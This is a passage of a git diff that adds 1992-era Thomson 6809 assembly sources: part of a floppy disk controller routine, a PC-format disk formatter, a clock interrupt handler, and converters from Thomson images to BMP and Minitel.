+       BNE    D0840
+       LBSR   D0340
+       CLRA   
+D0830  LDA    ,X
+       RTS    
+D0840  DECA   
+       BNE    D0770
+D0850  COMB   
+       BRA    D0830
+D0860  LDB    <$4B
+       CMPB   #$39
+       BPL    D0870
+       LDD    #$9F20
+       BRA    D0880
+D0870  LDD    #$1F22
+D0880  STA    7,X
+       STB    1,X
+       RTS    
+D0890  LDA    #$BF
+       STA    7,X
+       CLR    1,X
+       RTS    
+D0900  LDU    <$4F
+       LDY    #$0080
+       LDD    #$BF84
+D0910  PSHS   B,A
+D0920  LDA    ,S
+       EORA   ,U+
+       PSHS   A
+       LSRA   
+       LSRA   
+       LSRA   
+       LSRA   
+       EORA   ,S
+       STA    ,S
+       TFR    A,B
+       LSRB   
+       LSRB   
+       LSRB   
+       ASLA   
+       ASLA   
+       ASLA   
+       ASLA   
+       EORB   2,S
+       STB    2,S
+       TFR    A,B
+       EORA   2,S
+       STA    1,S
+       ASLB   
+       EORB   ,S
+       STB    2,S
+       LEAS   1,S
+       LEAY   -1,Y
+       BNE    D0920
+       PULS   A,B,PC
+D0930  LDA    <$4C
+       STA    5,X
+       LDA    #$0A
+       STA    4,X
+       LDA    #$A1
+       STA    3,X
+       ORCC   #$50
+       LDU    <$4F
+       STB    ,X
+       RTS    
+D0940  LBSR   D1100
+       LBCS   D1050
+       PSHS   CC
+       LDA    <$58
+       BNE    D1000
+       BSR    D0860
+       LDB    #$1B
+       BSR    D0930
+       LDA    #$04
+       LDY    #$7500
+D0950  LEAY   -1,Y
+       BEQ    D1060
+       LDB    ,X
+       BITB   #$02
+       BEQ    D0950
+       LDB    3,X
+D0960  DECA   
+       BEQ    D1080
+D0970  LDB    ,X
+       BPL    D0970
+       LDB    3,X
+       CMPB   #$FB
+       BNE    D0960
+       CLRA   
+D0980  LDB    ,X
+       BPL    D0980
+       LDB    3,X
+       STB    ,U+
+       DECA   
+       BNE    D0980
+D0990  LDB    ,X
+       BITB   #$08
+       BEQ    D0990
+       BITB   #$04
+       BNE    D1070
+       BRA    D1040
+D1000  LBSR   D0890
+       LBSR   D0760
+       BCS    D1060
+       LEAY   3,Y
+       LBSR   D0370
+       LDB    #$FB
+       STB    3,X
+       LDD    #$8038
+       STB    ,X
+       LDY    #$0100
+D1010  LEAY   -1,Y
+       BEQ    D1080
+       LDB    ,X
+       BITB   #$01
+       BEQ    D1010
+       LDB    3,X
+       LDB    #$28
+       STB    ,X
+D1020  LDB    ,X
+       BPL    D1020
+       LDB    3,X
+       STB    ,U+
+       DECA   
+       BNE    D1020
+D1030  LDB    ,X
+       BPL    D1030
+       LDB    3,X
+       PSHS   B
+       COMA   
+       BNE    D1030
+       LBSR   D0900
+       EXG    A,B
+       CMPD   ,S++
+       BNE    D1070
+D1040  PULS   CC
+       CLR    ,X
+D1050  RTS    
+D1060  LDA    #$04
+       BRA    D1090
+D1070  LDA    #$08
+       BRA    D1090
+D1080  LDA    #$02
+D1090  STA    <$4E
+       CLR    ,X
+       PULS   CC
+       COMA   
+       RTS    
+D1100  BSR    D1120
+       BCS    D1110
+       BSR    D1160
+       CLRA   
+D1110  RTS    
+D1120  LDY    #$8000
+D1130  LDB    <$57
+       ORB    #$04
+       STB    2,X
+       ANDB   #$FB
+       STB    2,X
+       LEAY   -1,Y
+       BEQ    D1140
+       LDB    1,X
+       ANDB   #$02
+       BEQ    D1130
+       CLRA   
+       RTS    
+D1140  LDA    #$10
+D1150  PSHS   CC
+       BRA    D1090
+D1160  LBSR   D0360
+       BSR    D1200
+       LDB    ,Y
+       LDA    <$57
+       SUBB   <$4B
+       BEQ    D1190
+       BPL    D1170
+       ORA    #$20
+       NEGB   
+D1170  STA    2,X
+D1180  ORA    #$14
+       STA    2,X
+       ANDA   #$EB
+       STA    2,X
+       LBSR   D0360
+       DECB   
+       BNE    D1180
+       LBSR   D0350
+D1190  BSR    D1200
+       LDB    <$4B
+       STB    6,X
+       STB    ,Y
+       RTS    
+D1200  LDY    #$6052
+       LDA    <$49
+       ANDA   #$02
+       LEAY   A,Y
+       RTS    
+D1210  PSHS   U,Y,X,DP,B,A,CC
+       LBSR   D0140
+       LDA    <$49
+       CMPA   #$04
+       BNE    D1220
+       LDU    #D0010    #$E00A
+       STU    <$55
+       JSR    $FFA0
+       BRA    D1270
+D1220  BSR    D1310
+       LDA    <$48
+       ANDA   #$80
+       STA    <$48
+       LBSR   D0150
+       LBSR   D1120
+       BCS    D1270
+       LBSR   D0310
+       BCS    D1270
+       CLR    <$4B
+       BSR    D1280
+       BCS    D1270
+D1230  PSHS   CC
+       ORCC   #$50
+       LBSR   D1380
+       LDA    #$02
+       PSHS   A
+D1240  LBSR   D1440
+       LDX    #$E7D0
+       LBSR   D1120
+       LBSR   D1520
+       BCC    D1250
+       DEC    ,S
+       BNE    D1240
+       PULS   A
+       PULS   CC
+       COMA   
+       BRA    D1270
+D1250  PULS   A
+       PULS   CC
+       LDA    <$4B
+       CMPA   #$4F
+       BEQ    D1260
+       BSR    D1300
+       BRA    D1230
+D1260  LBSR   D1960
+       BCS    D1270
+       LDA    #$50
+       STA    <$4B
+D1270  LBRA   D0110
+D1280  LDA    1,X
+       BITA   #$04
+       BNE    D1290
+       CLRA   
+       RTS    
+D1290  LDA    #$01
+       LBRA   D1150
+D1300  INC    <$4B
+       LBRA   D1160
+D1310  PSHS   X
+       LDU    #D1370    #$E55E
+D1320  LDX    #$0003
+       LDB    #$04
+D1330  LDA    ,X
+       CMPA   ,U
+       BEQ    D1340
+       INCB   
+       LEAU   B,U
+       LDA    ,U
+       BNE    D1320
+       BRA    D1360
+D1340  LEAX   -1,X
+       BNE    D1350
+       LDX    #$001A
+D1350  LEAU   1,U
+       DECB   
+       BNE    D1330
+       LDA    ,U
+       STA    <$58
+D1360  PULS   X,PC
+D1370  FCB    $52,$45,$47,$6E
+       FCB    $FF,$43,$49,$50
+       FCB    $4A,$FF,$4C,$45
+       FCB    $4D,$74,$FF,$4C
+       FCB    $4F,$50,$B5,$00
+       FCB    $53,$45,$47,$B6
+       FCB    $00,$00
+D1380  LDX    #$60D3
+       LDB    #$10
+D1390  CLR    B,X
+       DECB
+       BNE    D1390
+       LEAX   $10,X
+       PSHS   X
+       LDX    #$60D3
+       LDA    #$01
+       LDB    <$4D
+D1400  STA    ,X
+       LEAX   B,X
+       INCA
+       CMPA   #$10
+       BHI    D1430
+D1410  CMPX   ,S
+       BCS    D1420
+       LEAX   -16,X
+D1420  TST    ,X
+       BEQ    D1400
+       LEAX   1,X
+       BRA    D1410
+D1430  LEAS   2,S
+       RTS    
+D1440  LDX    #$60D3
+       LDU    <$4F
+D1450  LDB    ,X+
+       BEQ    D1470
+       LDA    <$4B
+       STA    ,U
+       CLR    1,U
+       STB    2,U
+       LDY    #$0004
+       LDA    <$58
+       INCA   
+       STA    3,U
+       BEQ    D1480
+       LDD    #$B230
+D1460  LBSR   D0910
+       STD    ,U++
+       BRA    D1450
+D1470  RTS    
+D1480  LDD    #$EF21
+       BRA    D1460
+D1490  LDB    1,X
+       BITB   #$40
+       BEQ    D1490
+D1500  LDB    3,X
+       LDB    ,X
+       BPL    D1500
+D1510  LDB    ,X
+       BPL    D1510
+       RTS    
+D1520  LDA    #$10
+       PSHS   A
+       LDU    <$4F
+       LDA    <$58
+       LBNE   D1720
+       LBSR   D0860
+       BSR    D1490
+       LDD    #$4EFF
+       STD    3,X
+       LDB    #$04
+       STB    ,X
+D1530  LDA    #$1E
+D1540  LDB    ,X
+       BPL    D1540
+       LDB    #$4E
+       STB    3,X
+       DECA   
+       BNE    D1540
+D1550  LDA    #$0C
+D1560  LDB    ,X
+       BPL    D1560
+       CLR    3,X
+       DECA   
+       BNE    D1560
+D1570  LDB    ,X
+       BPL    D1570
+       LDD    #$A10A
+       STD    3,X
+D1580  LDB    ,X
+       BPL    D1580
+       STA    3,X
+D1590  LDB    ,X
+       BPL    D1590
+       STA    3,X
+D1600  LDB    ,X
+       BPL    D1600
+       LDD    #$FEFF
+       STD    3,X
+       LDA    #$06
+D1610  LDB    ,X
+       BPL    D1610
+       LDB    ,U+
+       STB    3,X
+       DECA   
+       BNE    D1610
+       LDA    #$16
+D1620  LDB    ,X
+       BPL    D1620
+       LDB    #$4E
+       STB    3,X
+       DECA   
+       BNE    D1620
+       LDA    #$0C
+D1630  LDB    ,X
+       BPL    D1630
+       CLR    3,X
+       DECA   
+       BNE    D1630
+D1640  LDB    ,X
+       BPL    D1640
+       LDD    #$A10A
+       STD    3,X
+D1650  LDB    ,X
+       BPL    D1650
+       STA    3,X
+D1660  LDB    ,X
+       BPL    D1660
+       STA    3,X
+D1670  LDB    ,X
+       BPL    D1670
+       LDD    #$FBFF
+       STD    3,X
+       CLRA   
+D1680  LDB    ,X
+       BPL    D1680
+       LDB    #$E5
+       STB    3,X
+       DECA   
+       BNE    D1680
+D1690  LDB    ,X
+       BPL    D1690
+       LDB    #$78
+       STB    3,X
+D1700  LDB    ,X
+       BPL    D1700
+       LDB    #$27
+       STB    3,X
+       LDA    #$2C
+D1710  LDB    ,X
+       BPL    D1710
+       LDB    #$4E
+       STB    3,X
+       DECA   
+       BNE    D1710
+       DEC    ,S
+       LBNE   D1550
+       LBRA   D1870
+D1720  LBSR   D0890
+       LBSR   D1490
+       LDD    #$FFFF
+       STD    3,X
+       LDB    #$24
+       STB    ,X
+       LDA    #$10
+D1730  LDB    ,X
+       BPL    D1730
+       LDB    #$FF
+       STB    3,X
+       DECA   
+       BNE    D1730
+D1740  LDA    #$06
+D1750  LDB    ,X
+       BPL    D1750
+       CLR    3,X
+       DECA   
+       BNE    D1750
+D1760  LDB    ,X
+       BPL    D1760
+       LDD    #$FEC7
+       STD    3,X
+D1770  LDB    ,X
+       BPL    D1770
+       LDB    #$FF
+       LDA    ,U+
+       STD    3,X
+       LDA    #$05
+D1780  LDB    ,X
+       BPL    D1780
+       LDB    ,U+
+       STB    3,X
+       DECA   
+       BNE    D1780
+       LDA    #$0C
+D1790  LDB    ,X
+       BPL    D1790
+       LDB    #$FF
+       STB    3,X
+       DECA   
+       BNE    D1790
+       LDA    #$06
+D1800  LDB    ,X
+       BPL    D1800
+       CLR    3,X
+       DECA   
+       BNE    D1800
+D1810  LDB    ,X
+       BPL    D1810
+       LDD    #$FBC7
+       STD    3,X
+D1820  LDB    ,X
+       BPL    D1820
+       LDD    #D1530    #$E5FF
+       STD    3,X
+       LDA    #$7F
+D1830  LDB    ,X
+       BPL    D1830
+       LDB    #$E5
+       STB    3,X
+       DECA   
+       BNE    D1830
+D1840  LDB    ,X
+       BPL    D1840
+       LDB    #$5D
+       STB    3,X
+D1850  LDB    ,X
+       BPL    D1850
+       LDB    #$30
+       STB    3,X
+       LDA    #$16
+D1860  LDB    ,X
+       BPL    D1860
+       LDB    #$FF
+       STB    3,X
+       DECA   
+       BNE    D1860
+       DEC    ,S
+       LBNE   D1740
+D1870  LDA    1,X
+       BITA   #$40
+       BNE    D1890
+D1880  LDA    ,X
+       BPL    D1880
+       STB    3,X
+       BRA    D1870
+D1890  PULS   A
+       CLR    ,X
+       TST    <$48
+       BPL    D1930
+       LDA    #$E5
+       BSR    D1940
+       LDU    #$60D3
+       LBSR   D1120
+D1900  LDA    ,U+
+       BEQ    D1930
+       STA    <$4C
+       PSHS   U
+       LDA    <$58
+       BEQ    D1910
+       LBSR   D0750
+       BRA    D1920
+D1910  LBSR   D0560
+D1920  PULS   U
+       BCC    D1900
+D1930  RTS    
+D1940  LDU    <$4F
+       LDB    <$58
+       ANDB   #$80
+D1950  STA    ,U+
+       DECB   
+       BNE    D1950
+       RTS
+D1960  LDA    #$14
+       STA    <$4B
+       LBSR   D1160
+       LDA    #$FF
+       BSR    D1940
+       LDA    #$10
+       STA    <$4C
+D1970  LBSR   D1120
+       LBSR   D0420
+       BCS    D1980
+       DEC    <$4C
+       BNE    D1970
+       LDU    <$4F
+       CLR    ,U
+       LDD    #$FEFE
+       STD    $29,U
+       LDA    #$02
+       STA    <$4C
+       LBSR   D0420
+       BCS    D1980
+       CLRA
+D1980  RTS
diff --git a/code/3rdparty/sources3-lambinet/FORMATPC.ASM b/code/3rdparty/sources3-lambinet/FORMATPC.ASM
new file mode 100644
index 0000000..daaa039
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/FORMATPC.ASM
@@ -0,0 +1,218 @@
+*** exemple de dérivation d'un programme
+*** ressourcé avec CODEVIEW3
+
+*** FORMATAGE PHYSIQUE D'UNE DISQUETTE
+*** AU STANDARD PC (80 PISTES DE 2 FACES
+*** DE 9 SECTEURS DE 512 OCTETS
+
+*** MICHEL SAINT-BRIANT  (ASCI 1992)
+
+* les BSR et LBSR ont été remplacés par
+* des JSR (absolu) et quelques modifica-
+* tions mineures ont été apportées.
+
+       ORG    $8000
+
+       PSHS   U,Y,X,DP,B,A,CC
+       JSR    $E09D
+       CLR    <$49
+       JSR    $E0A7
+       JSR    $E45A
+       LBCS   P0060
+       JSR    $E134
+       LBCS   P0060
+       CLR    <$4B    piste 0
+       JSR    $E521
+       LBCS   P0060
+P0000  CLR    <$49    face 0
+       BRA    P0020
+P0010  LDA    #$01    face 1
+       STA    <$49
+P0020  JSR    $E0A7
+       JSR    $E45A
+       PSHS   CC
+       ORCC   #$50
+       LBSR   P0080
+       LDA    #$02
+       PSHS   A
+P0030  LBSR   P0140
+       LDX    #$E7D0
+       JSR    $E45A
+       LBSR   P0200
+       BCC    P0040
+       DEC    ,S
+       BNE    P0030
+       PULS   A
+       PULS   CC
+       COMA
+       BRA    P0060
+P0040  PULS   A
+       PULS   CC
+       TST    <$49
+       BEQ    P0010
+       LDA    <$4B    est-ce la dernière
+       CMPA   #$4F    \piste?
+       BEQ    P0050
+       BSR    P0070
+       BRA    P0000
+P0050  LDA    #$50
+       STA    <$4B
+P0060  JMP    $E08A   sortie du DOS
+P0070  INC    <$4B    piste=piste+1
+       JMP    $E47A
+P0080  LDX    #$60D3  on bufférise les
+       LDB    #$09    9 secteurs en
+P0090  CLR    B,X     prenant un entre-
+       DECB           lacement de 1 (pc)
+       BNE    P0090
+       LEAX   9,X
+       PSHS   X
+       LDX    #$60D3
+       LDA    #$01
+       LDB    #$01
+P0100  STA    ,X
+       LEAX   B,X
+       INCA
+       CMPA   #$09
+       BHI    P0130
+P0110  CMPX   ,S
+       BCS    P0120
+       LEAX   -9,X
+P0120  TST    ,X
+       BEQ    P0100
+       LEAX   1,X
+       BRA    P0110
+P0130  LEAS   2,S
+       RTS
+P0140  LDX    #$60D3
+       LDU    <$4F
+P0150  LDB    ,X+
+       BEQ    P0160
+       LDA    <$4B
+       STA    ,U
+       LDA    <$49
+       STA    1,U
+       STB    2,U
+       LDY    #$0004
+       LDA    #$02
+       STA    3,U
+       LDD    #$B230
+       JSR    $E364
+       STD    ,U++
+       BRA    P0150
+P0160  RTS
+P0170  LDB    1,X
+       BITB   #$40
+       BEQ    P0170
+P0180  LDB    3,X
+       LDB    ,X
+       BPL    P0180
+P0190  LDB    ,X
+       BPL    P0190
+       RTS
+P0200  LDA    #$09    on formate piste
+       PSHS   A
+       LDU    <$4F
+       JSR    $E341
+       BSR    P0170
+       LDD    #$4EFF
+       STD    3,X
+       LDB    #$04
+       STB    ,X
+       LDA    #$1E
+P0210  LDB    ,X
+       BPL    P0210
+       LDB    #$4E
+       STB    3,X
+       DECA   
+       BNE    P0210
+P0220  LDA    #$0C
+P0230  LDB    ,X
+       BPL    P0230
+       CLR    3,X
+       DECA   
+       BNE    P0230
+P0240  LDB    ,X
+       BPL    P0240
+       LDD    #$A10A
+       STD    3,X
+P0250  LDB    ,X
+       BPL    P0250
+       STA    3,X
+P0260  LDB    ,X
+       BPL    P0260
+       STA    3,X
+P0270  LDB    ,X
+       BPL    P0270
+       LDD    #$FEFF
+       STD    3,X
+       LDA    #$06
+P0280  LDB    ,X
+       BPL    P0280
+       LDB    ,U+
+       STB    3,X
+       DECA   
+       BNE    P0280
+       LDA    #$16
+P0290  LDB    ,X
+       BPL    P0290
+       LDB    #$4E
+       STB    3,X
+       DECA   
+       BNE    P0290
+       LDA    #$0C
+P0300  LDB    ,X
+       BPL    P0300
+       CLR    3,X
+       DECA   
+       BNE    P0300
+P0310  LDB    ,X
+       BPL    P0310
+       LDD    #$A10A
+       STD    3,X
+P0320  LDB    ,X
+       BPL    P0320
+       STA    3,X
+P0330  LDB    ,X
+       BPL    P0330
+       STA    3,X
+P0340  LDB    ,X
+       BPL    P0340
+       LDD    #$FBFF
+       STD    3,X
+       LDY    #$0200  512 octets
+P0350  LDB    ,X
+       BPL    P0350
+       LDB    #$F6    code $F6 pour
+       STB    3,X     \remplissage
+       LEAY   -1,Y
+       BNE    P0350
+P0360  LDB    ,X
+       BPL    P0360
+       LDB    #$2B    $2BF6 est le chek-
+       STB    3,X     \sum correspondant
+P0370  LDB    ,X
+       BPL    P0370
+       LDB    #$F6
+       STB    3,X
+       LDA    #$54
+P0380  LDB    ,X
+       BPL    P0380
+       LDB    #$4E
+       STB    3,X
+       DECA
+       BNE    P0380
+       DEC    ,S
+       LBNE   P0220
+P0390  LDA    1,X
+       BITA   #$40
+       BNE    P0410
+P0400  LDA    ,X
+       BPL    P0400
+       STB    3,X
+       BRA    P0390
+P0410  PULS   A
+       CLR    ,X
+       RTS
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/HORLOGE.ASM b/code/3rdparty/sources3-lambinet/HORLOGE.ASM
new file mode 100644
index 0000000..2d422a4
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/HORLOGE.ASM
@@ -0,0 +1,204 @@
+******  HORLOGE  ******
+
+******  EQUATES  ******
+
+DIXIEM EQU    $6580
+SECOND EQU    $6581
+MINUTE EQU    $6582
+HEURE  EQU    $6583
+JOUR   EQU    $6584
+MOIS   EQU    $6585
+ANNEE  EQU    $6586
+AFTIME EQU    $6587
+
+
+
+******  INITIALISATION  ******
+
+DEBUT  PSHS   U,Y,X,DP,B,A,CC
+       LDU    #DIXIEM
+       LDA    #$4F
+BDEB   CLR    A,U
+       DECA
+       BNE    BDEB
+       LDX    #$65D0
+       STX    $6027
+       LDA    $6019
+       ORA    #$20
+       STA    $6019
+       LDA    #$01
+       STA    SECOND
+       PULS   CC,A,B,DP,X,Y,U,PC
+
+******  INTERRUPTION  ******
+
+INTER  PSHS   U,Y,X,DP,B,A,CC
+       INC    DIXIEM
+       LDA    DIXIEM
+       CMPA   #$0A
+       LBLO   SOR
+SEC    CLR    DIXIEM
+       INC    SECOND
+       LDA    SECOND
+       CMPA   #$3C
+       LBNE   TIMEOK
+       CLR    SECOND
+       INC    MINUTE
+       LDA    MINUTE
+       CMPA   #$3C
+       LBNE   TIMEOK
+       CLR    MINUTE
+       INC    HEURE
+       LDA    HEURE
+       CMPA   #$18
+       LBNE   TIMEOK
+       CLR    HEURE
+       INC    JOUR
+       LDA    JOUR
+       CMPA   #$20
+       BEQ    CHGT31
+       CMPA   #$1F
+       BEQ    CHGT30
+       CMPA   #$1E
+       BEQ    CHGT29
+       CMPA   #$1D
+       LBNE   TIMEOK
+       LDA    MOIS
+       CMPA   #2
+       LBNE   TIMEOK
+CHGT28 LDA    ANNEE
+       ANDA   #3
+       LBEQ   TIMEOK
+       BRA    CHGTM
+CHGT29 LDA    MOIS
+       CMPA   #2
+       LBNE   TIMEOK
+       LDA    ANNEE
+       ANDA   #3
+       LBNE   TIMEOK
+       BRA    CHGTM
+CHGT30 LDA    MOIS
+       CMPA   #4
+       BEQ    CHGTM
+       CMPA   #6
+       BEQ    CHGTM
+       CMPA   #9
+       BEQ    CHGTM
+       CMPA   #11
+       BEQ    CHGTM
+       LBRA   TIMEOK
+CHGT31 LDA    MOIS
+       CMPA   #1
+       BEQ    CHGTM
+       CMPA   #3
+       BEQ    CHGTM
+       CMPA   #5
+       BEQ    CHGTM
+       CMPA   #7
+       BEQ    CHGTM
+       CMPA   #8
+       BEQ    CHGTM
+       CMPA   #10
+       BEQ    CHGTM
+       CMPA   #12
+       LBNE   TIMEOK
+CHGTM  LDA    #1
+       STA    JOUR
+       INC    MOIS
+       LDA    MOIS
+       CMPA   #13
+       BNE    TIMEOK
+CHGTA  LDA    #1
+       STA    MOIS
+       INC    ANNEE
+       LDA    ANNEE
+       CMPA   #100
+       BNE    TIMEOK
+       CLR    ANNEE
+TIMEOK TST    AFTIME
+       LBNE   SOR
+       LDY    #$4020
+       LDB    JOUR
+       BSR    AFNBR
+       LDB    #$2F
+       BSR    AFASC
+       LDB    MOIS
+       BSR    AFNBR
+       LDB    #$2F
+       BSR    AFASC
+       LDB    ANNEE
+       BSR    AFNBR
+       LDY    #$4160
+       LDB    HEURE
+       BSR    AFNBR
+       LDB    #$3A
+       BSR    AFASC
+       LDB    MINUTE
+       BSR    AFNBR
+       LDB    #$2E
+       BSR    AFASC
+       LDB    SECOND
+       BSR    AFNBR
+       JMP    MMS
+AFNBR  CLRA
+       TSTB
+       BEQ    AFF0
+BDAA   INCA
+       DAA
+       DECB
+       BNE    BDAA
+AFF0   PSHS   A
+       TFR    A,B
+       RORB
+       RORB
+       RORB
+       RORB
+       ANDB   #$0F
+       ADDB   #$30
+       BSR    AFASC
+       PULS   B
+       ANDB   #$0F
+       ADDB   #$30
+       BSR    AFASC
+       RTS
+AFASC  PSHS   Y
+       LDA    $E7C3
+       ORA    #$01
+       STA    $E7C3
+       LDA    #8
+       MUL
+       ADDD   #$E74D
+       TFR    D,X
+       LDA    #8
+BAFF   LDB    ,-X
+       STB    ,Y
+       LEAY   $28,Y
+       DECA
+       BNE    BAFF
+       PULS   Y
+       LEAY   1,Y
+       RTS
+MMS    LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDX    #$A340
+       LDY    #$4000
+       LDB    #$10
+BMMS0  LDA    #5
+BMMS1  LDU    ,X++
+       STU    ,Y++
+       DECA
+       BNE    BMMS1
+       DECB
+       BEQ    SOR
+       LEAY   $1E,Y
+       BRA    BMMS0
+
+SOR    PULS   CC,A,B,DP,X,Y,U
+       JMP    $E830
+
+
+******  FIN  ******
+
+
+       END
diff --git "a/code/3rdparty/sources3-lambinet/Map convert/MAP\076BMP.ASM" "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076BMP.ASM"
new file mode 100644
index 0000000..f02ab24
--- /dev/null
+++ "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076BMP.ASM"
@@ -0,0 +1,244 @@
+****************************************
+*                                      *
+* TRANSCODEUR D'IMAGES TO.MAP > PC.BMP *
+*                                      *
+* par Michel SAINT-BRIANT * 15/03/1992 *
+*                                      *
+* (c)    A.S.C.I.    Copyright    1992 *
+*                                      *
+****************************************
+
+* TRANSFERT D'UNE IMAGE THOMSON EN UNE
+* IMAGE AU FORMAT PC-WINDOWS -> .BMP
+
+       ORG    $9800
+
+       PSHS   A,B,CC,DP,X,Y,U
+
+
+       LDB    #$14    ARRET CLIGNOTEMENT
+       JSR    $E803
+
+       LDX    #FILE
+       LDA    ,X++
+       SUBA   #$30
+       STA    $6049
+       LDU    #$624B
+       LDD    #$2003
+       STD    ,U++
+       LDA    #$FF
+       STA    ,U++
+       LDB    #8
+COPS   LDA    ,X+
+       STA    ,U+
+       DECB
+       BNE    COPS
+       LDD    #$424D  'BM'
+       STD    ,U++
+       LDD    #$5009  'P'+8 octets
+COPC   STA    ,U+
+       LDA    ,X+
+       DECB
+       BNE    COPC
+
+       LDB    #3      CODE DE OPEN
+       JSR    $EC0C   OUVERTURE
+       LDX    #ENTETE
+       LDY    #30
+COPEN0 LDA    ,X+
+       LDB    #4
+       JSR    $EC0C
+       LEAY   -1,Y
+       BNE    COPEN0
+       LDY    #24
+COPEN1 CLRA
+       LDB    #4
+       JSR    $EC0C
+       LEAY   -1,Y
+       BNE    COPEN1
+       LDX    #PALETT
+       LDY    #64
+COPEN2 LDA    ,X+
+       LDB    #4
+       JSR    $EC0C
+       LEAY   -1,Y
+       BNE    COPEN2
+       LDX    #$5F18
+       STX    ADDRES
+       LDA    MODE
+       BEQ    MODTO7
+       CMPA   #2
+       LBEQ   MODBM4
+       CMPA   #3
+       LBEQ   MODB16
+       LBRA   QUITTE
+
+MODTO7 LDY    #$0028
+OCTET  LDA    $E7C3
+       ANDA   #$FE
+       STA    $E7C3
+       LDA    ,X
+       BITA   #$40
+       BEQ    OCTET0
+       ANDA   #$38
+       BRA    OCTET1
+OCTET0 ORA    #$40
+OCTET1 ANDA   #$78
+       ASLA
+       STA    FORM0+1
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       STA    FORM1+1
+       LDA    ,X
+       ANDA   #$07
+       TST    ,X
+       BMI    OCTET2
+       ORA    #$08
+OCTET2 STA    FOND1+1
+       ASLA
+       ASLA
+       ASLA
+       ASLA
+       STA    FOND0+1
+       LDA    $E7C3
+       ORA    #$01
+       STA    $E7C3
+       LDB    #4
+       LDA    ,X+
+       PSHS   A,B
+FORM0  LDA    #$00
+       ASL    ,S
+       BCS    POINT0
+FOND0  LDA    #$00
+POINT0 ASL    ,S
+       BCC    FOND1
+FORM1  ORA    #$00
+       BRA    POINT1
+FOND1  ORA    #$00
+POINT1 LDB    #4
+       JSR    $EC0C
+       DEC    1,S
+       BNE    FORM0
+       PULS   A,B
+       LEAY   -1,Y
+       BNE    OCTET
+       LDX    ADDRES
+       CMPX   #$4000
+       LBLE   QUITTE
+       LEAX   -$28,X
+       STX    ADDRES
+       BRA    MODTO7
+
+MODBM4 LDY    #$0028
+OCBM40 LDA    $E7C3
+       ANDA   #$FE
+       STA    $E7C3
+       LDD    ,X
+       PSHS   A,B
+       LDA    $E7C3
+       ORA    #$01
+       STA    $E7C3
+       LDD    ,X++
+       PSHS   A,B
+       LDA    #8
+       PSHS   A
+OCBM41 ASL    1,S
+       ROLA
+       ASL    3,S
+       ROLA
+       LSLA
+       LSLA
+       ASL    2,S
+       ROLA
+       ASL    4,S
+       ROLA
+       LSLA
+       LSLA
+       LDB    #4
+       JSR    $EC0C
+       DEC    ,S
+       BNE    OCBM41
+       PULS   CC,A,B,U
+       LEAY   -2,Y
+       BNE    OCBM40
+       LDX    ADDRES
+       CMPX   #$4000
+       LBLE   QUITTE
+       LEAX   -$28,X
+       STX    ADDRES
+       BRA    MODBM4
+
+MODB16 LDY    #$0028
+OCBM16 LDA    $E7C3
+       ORA    #$01
+       STA    $E7C3
+       LDA    ,X
+       TFR    A,DP
+       ANDA   #$F0
+       STA    ,X
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       ORA    ,X
+       LDB    #4
+       JSR    $EC0C
+       TFR    DP,A
+       ANDA   #$0F
+       STA    ,X
+       ASLA
+       ASLA
+       ASLA
+       ASLA
+       ORA    ,X
+       LDB    #4
+       JSR    $EC0C
+       LDA    $E7C3
+       ANDA   #$FE
+       STA    $E7C3
+       LDA    ,X
+       TFR    A,DP
+       ANDA   #$F0
+       STA    ,X
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       ORA    ,X
+       LDB    #4
+       JSR    $EC0C
+       TFR    DP,A
+       ANDA   #$0F
+       STA    ,X
+       ASLA
+       ASLA
+       ASLA
+       ASLA
+       ORA    ,X+
+       LDB    #4
+       JSR    $EC0C
+       LEAY   -1,Y
+       BNE    OCBM16
+       LDX    ADDRES
+       CMPX   #$4000
+       LBLE   QUITTE
+       LEAX   -$28,X
+       STX    ADDRES
+       BRA    MODB16
+
+QUITTE LDB    #6      CLOSE
+       JSR    $EC0C
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+ADDRES FDB    0
+ENTETE FDB    $424D,$7680,0,0,0,$7600
+       FDB    0,$2800,0,$4001,0,$C800
+       FDB    0,$0100,$0400
+PALETT RMB    64
+MODE   FCB    1
+FILE   FCC    #4:IMAGE   #
+COMMEN FCC    #MAP>>BMP#
+
+       END
diff --git "a/code/3rdparty/sources3-lambinet/Map convert/MAP\076TEL.ASM" "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076TEL.ASM"
new file mode 100644
index 0000000..d0bbec1
--- /dev/null
+++ "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076TEL.ASM"
@@ -0,0 +1,834 @@
+****************************************
+*                                      *
+* TRANSCODEUR D'IMAGES TO7-70,BM4,BM16 *
+*                                      *
+* en IMAGES pour MINITEL en car. grap. *
+*                                      *
+* par Michel SAINT-BRIANT * 15/03/1992 *
+*                                      *
+* (c)    A.S.C.I.    Copyright    1992 *
+*                                      *
+****************************************
+
+       ORG    $9800
+
+       PSHS   A,B,CC,DP,X,Y,U
+
+       LDB    #$14    ARRET CLIGNOTEMENT
+       JSR    $E803
+       LDA    $605F   TYPE DE CONSOLE
+       LSLA
+       STA    TYPE
+
+* ETABLISSEMENT DE LA TABLE DES GRIS
+
+       LDU    #PALET+32
+       LDA    #15
+LIPAL  LDX    #$FFFF
+       LDY    #0
+       JSR    $EC00
+       STX    ,--U
+       DECA
+       BPL    LIPAL
+
+       LDX    #PALET
+       LDY    #TABGRI
+NOUPAL LDD    ,X
+       BITA   #$10
+       BNE    CALGRI
+       COMA
+       COMB
+       STD    ,X
+CALGRI CLRA
+       ANDB   #$F0
+       LSRB
+       LSRB
+       TFR    D,U
+       LDD    ,X
+       ANDA   #$0F
+       LEAU   A,U
+       ANDB   #$0F
+       LSLB
+       LEAU   B,U
+       TFR    U,D
+       STB    ,Y+
+       CLRA
+RECPA0 SUBB   #7
+       BMI    RECPA1
+       INCA
+       BRA    RECPA0
+RECPA1 PSHS   A
+       LDB    #17
+       MUL
+       PULS   A
+       ORA    #$10
+       STD    ,X++
+       CMPX   #PALET+32
+       BLO    NOUPAL
+       LDX    #PALET
+       LDA    #$FF
+       JSR    $EC00
+
+* DECODAGE DE L'IMAGE EN FONCTION DU
+* TYPE ET STOCKAGE EN RAM
+
